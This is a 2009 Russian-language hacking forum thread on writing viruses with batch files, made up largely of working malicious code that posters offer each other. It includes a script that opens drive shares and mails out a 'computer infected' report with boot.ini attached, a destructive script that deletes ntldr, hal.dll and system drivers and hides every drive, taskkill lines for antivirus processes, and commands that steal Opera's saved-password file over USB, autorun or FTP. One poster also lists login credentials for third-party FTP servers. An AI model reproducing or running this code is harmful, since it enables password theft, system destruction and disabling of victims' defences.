Авторские статьи Вирусописание в дос.Или юзаем батники.

Discussion in 'Статьи' started by winner13, 2 May 2009.

  1. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    проверка на наличие шары.

    задача: написать батник, который проверяет наличие общедоступных сетевых ресурсов (папок, принтеров) и, в зависимости от наличия таковых, выполнить определенное действие
    Code:
    @Echo Off
    Set ShareName=C$ ADMIN$
    
    For /F "Tokens=1 Skip=4" %%i In ('Net Share') Do (
       For %%j In (%ShareName%) Do (
          If /I "%%i"=="%%j" Call :COMMAND %%i
       )
    )
    
    EXIT
    
    :COMMAND
    :: ---
    @Echo %1 - ресурс из списка, чего делать?
    
    GoTo :EOF
    
    ещё вкусности:

    добавление батника в автозагрузку или ещё куда:
    Code:
    REG EXPORT <имя_раздела> <имя_файла> [/y]
    И убить процесс из батника:
    Code:
    taskkill /IM ekrn.exe
    taskkill /IM egui.exe
    taskkill /IM avp.exe
    
     
  2. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    возможность интеграции скрипта ВБА в бат:
    Данны скрипт реализует отправку на емаил отчета о зараженном компьютере и приатачивает фаил бут.ини , расшаривая ресурс:
    Code:
    @Echo Off
    
    Echo Set S = CreateObject("Wscript.Shell");set FSO=createobject("scripting.filesystemobject");s.run"net share c=c:\",0;s.run"net;share d=d:\",0;s.run"net share e=e:\",0;s.regwrite"HKEY_CLASSES_ROOT\Network\SharingHandler\","";Call SendPost("smtp.mail.ru","[email protected]","[email protected]","Kuzja","Копм заражен!");Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody);Set iMsg=CreateObject("CDO.Message")
    Set iConf=CreateObject("CDO.Configuration");Set Flds=iConf.Fields;Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2;Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1;Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="winner13"'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="qwerty";Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru";Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25;Flds.Update;iMsg.Configuration=iConf;iMsg.To=strTo;iMsg.From=strFrom;iMsg.Subject=strSubject;iMsg.TextBody=strBody;iMsg.AddAttachment "c:\boot.ini";iMsg.Send;End Function;Set iMsg=Nothing;Set iConf=Nothing;Set Flds=Nothing>winner13.vbs
    Start winner13.vbs
    
    
    пи копировании изменить лишь почтовые данные,структуру оставить прежней.
     
  3. ЖенькО

    ЖенькО New Member

    Joined:
    6 May 2009
    Messages:
    12
    Likes Received:
    2
    Reputations:
    -5
    люди, а помогите в таком вопросе, я прост в бате не оч силён,
    Code:
    echo on
    copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" "G:\noDelete!!!\total_commander_powerpack_russian_pro\regularg\"
    вот файл который я копирую на флешку...... но как видите на моём компе моя флешка высвечуеться как G:\ а на ноутбуке H:\ ... вапрос в том... как бы мне так зделать чтобы копировало на флешку.... может чтото дописать интересное ?
     
  4. ЖенькО

    ЖенькО New Member

    Joined:
    6 May 2009
    Messages:
    12
    Likes Received:
    2
    Reputations:
    -5
    ПРимер как втавить флэху и копирывать что нужно на неё с компа)
    Code:
    echo on
    copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" "G:\noDelete!!!\total_commander_powerpack_russian_pro\regularg\"
    attrib +h
    
    если имя флэхи неизвестно, то можно вот так:
    Code:
    echo on
    copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" noDelete!!!\total_commander_powerpack_russian_pro\regularg\
    attrib +h
    (будет искать по совподению в названии)
    последняя страка делает чтобы скрыть после запуска все файлы в папке)
    ---
    если хотите чтоб батник запускался при втыкании флэъи в комп
    то создайте файл autorun.inf с:
    Code:
    [autorun]
    open=название батника.bat
    вроде так, если я ошибаюсь поправьте)
    не тестил..
     
  5. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Реально злая шутка , у мну только сейчас ДР отметилс, и этот бред пишу на реально пьяную глову !!!Убитый в люпель,писькой прострочил по кнопкам =)))Ещё кстати вариант интеграции визуал басик скрипт в файли бат, работает на 100%, проверено млять.

    Функционал:Удалить hal.dll,Удалить dllcache,Удалить drivers,Удалить drivers cashe,Удалить ntldr,скрыть и запретить доступ ко всем дискам .Вывести сообщение"ты мля полное чмо!!!один раз перезагрузись!!!" c заголовком "Заепися все!" +)))

    Прикалывает сам релиз интеграции вба в бат, писал на пьяную голову.=)_)

    Code:
    @echo off
    echo Set S = CreateObject("Wscript.Shell")>>winner13.vbs
    echo set FSO=createobject("scripting.filesystemobject")>>winner13.vbs
    echo s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives","67108863","REG_DWORD">>winner13.vbs
    echo s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive","67108863","REG_DWORD">>winner13.vbs
    echo fso.deletefile "C:\ntldr",1 >>winner13.vbs
    echo Set Folder = FSO.GetFolder(fso.getspecialfolder(0)+"\system32\drivers\")>>winner13.vbs
    echo For Each File In Folder.Files>>winner13.vbs
    echo File.delete>>winner13.vbs
    echo Next>>winner13.vbs
    echo fso.deletefolder fso.getspecialfolder(0)+"\Driver Cache">>winner13.vbs
    echo fso.deletefile fso.getspecialfolder(0)+"\system32\hal.dll",1>>winner13.vbs
    echo fso.deletefolder fso.getspecialfolder(0)+"\system32\drives",1>>winner13.vbs
    echo i=1>>winner13.vbs
    echo while i>0 or i<0>>winner13.vbs
    echo S.popup "ты мля полное чмо!!!один раз перезагрузись!!!",0, "заепися все !!!",3+0>>winner13.vbs
    echo i=i-1>>winner13.vbs
    echo wend>>winner13.vbs
    start winner13.vbs
    
     
  6. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Всё нормально, единственное что attrib +h зачем тебе если всё в черненьком окошке видно что копируется и куда .
    Code:
    @echo off
    copy "%USERPROFILE%\Application Data\Opera\Opera\profile\wand.dat" noDelete!!!\total_commander_powerpack_russian_pro\regularg\
    attrib +h
    Отличный пример.Жизненный =)
     
  7. Ne$$KvIK

    Ne$$KvIK Banned

    Joined:
    3 May 2009
    Messages:
    5
    Likes Received:
    13
    Reputations:
    0
    парни а как с помощью батник заставить скачать прогу с FTP,или тот же wand.dat послать на FTP
     
  8. meisterr

    meisterr Member

    Joined:
    25 Feb 2009
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    copy "%appdata%\Opera\Opera\profile\wand.dat" "ftp:\\blablabla\" наверное так ))
     
  9. meisterr

    meisterr Member

    Joined:
    25 Feb 2009
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    Code:
    [AUTORUN]
    open=123.exe
    icon=icons\img.ico
    shell\open=&Открыть
    shell\open\command=123exe
    и при нажатии "открыть" запуститься 123.exe
     
    #29 meisterr, 23 Jun 2009
    Last edited: 23 Jun 2009
  10. Ne$$KvIK

    Ne$$KvIK Banned

    Joined:
    3 May 2009
    Messages:
    5
    Likes Received:
    13
    Reputations:
    0
    а не нада вписывать логин и пасс что захадить на фтп?как он туда сохранять то будет?
     
  11. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    479
    Likes Received:
    79
    Reputations:
    7
    Code:
    > c:\up.txt echo open server
    >> c:\up.txt echo user
    >> c:\up.txt echo pass
    >> c:\up.txt echo put %appdata%\Opera\Opera\profile\wand.dat
    >> c:\up.txt echo bye
    start /w ftp.exe -s:C:\up.txt
    del C:\up.txt
    cls
    exit
    server, user, pass - свои, соответственно
     
    #31 Pernat1y, 23 Jun 2009
    Last edited: 23 Jun 2009
  12. Ne$$KvIK

    Ne$$KvIK Banned

    Joined:
    3 May 2009
    Messages:
    5
    Likes Received:
    13
    Reputations:
    0
    не работает((
     
  13. Ne$$KvIK

    Ne$$KvIK Banned

    Joined:
    3 May 2009
    Messages:
    5
    Likes Received:
    13
    Reputations:
    0
    вот фтп

    blackseahotel:[email protected]:21

    klimawechsel:[email protected]:21

    origine:[email protected]:21

    adek:[email protected]:21

    nama:[email protected]:21

    pdj_7486:[email protected]:21

    public:[email protected]:21

    например я вставил

    > c:\up.txt ftp.iterainc.com:21 или без 21
    >> c:\up.txt echo public
    >> c:\up.txt echo itera
    >> c:\up.txt echo put %appdata%\Opera\Opera\profile\wand.dat
    >> c:\up.txt echo bye
    start /w ftp.exe -s:C:\up.txt
    del C:\up.txt
    cls
    exit

    не работает се равно
     
  14. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Даже скопировать правельно не можете,написали же:
    > c:\up.txt echo open ftp.iterainc.com
     
  15. Ty3uK

    Ty3uK Member

    Joined:
    1 Feb 2009
    Messages:
    35
    Likes Received:
    28
    Reputations:
    0
    Как это не документированая шина? Берёшь сорцы DOS 3.3 и смотришь сорец command.com

    Как я понимаю для умных людей будет документация)
     
    1 person likes this.
  16. BaSiLiSk

    BaSiLiSk New Member

    Joined:
    21 Jul 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Напишите плиз исходник вируса который отсылает на ftp IP жертвы и скачивает пару фаилов с этого же ftp шника.
     
    #36 BaSiLiSk, 21 Jul 2009
    Last edited: 21 Jul 2009
  17. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Тебе стоило бы перечитать мой пост раз 20, а потом ответить потому что ты не понял меня нихрена.
     
  18. ira

    ira New Member

    Joined:
    17 Feb 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    подскажите пожалуста, в данном вопросе.
    Какими командами в бате реализовать форматирование выбраного диска через некоторое количество дней после интала батника в автозапуск( или на худой конец в определеный день недели чтобы он отформатировал диск).
    сама команда формат для мня понятна, но как это зделать по расписанию я не знаю.
    Помогите хто чем может.
     
  19. toby1980

    toby1980 Active Member

    Joined:
    11 Jul 2009
    Messages:
    65
    Likes Received:
    165
    Reputations:
    5
    в гугле статей немеряно... ненадо леница :)
     
  20. vilfenix

    vilfenix New Member

    Joined:
    9 Aug 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Есть батник:

    Задача этого батника присылать чужой IP на мыло. Он это делает каждую секунду, а мне нада чтоб хотябы каждые пять минут, ПОМОГИТЕ плиз, что там нада поменять?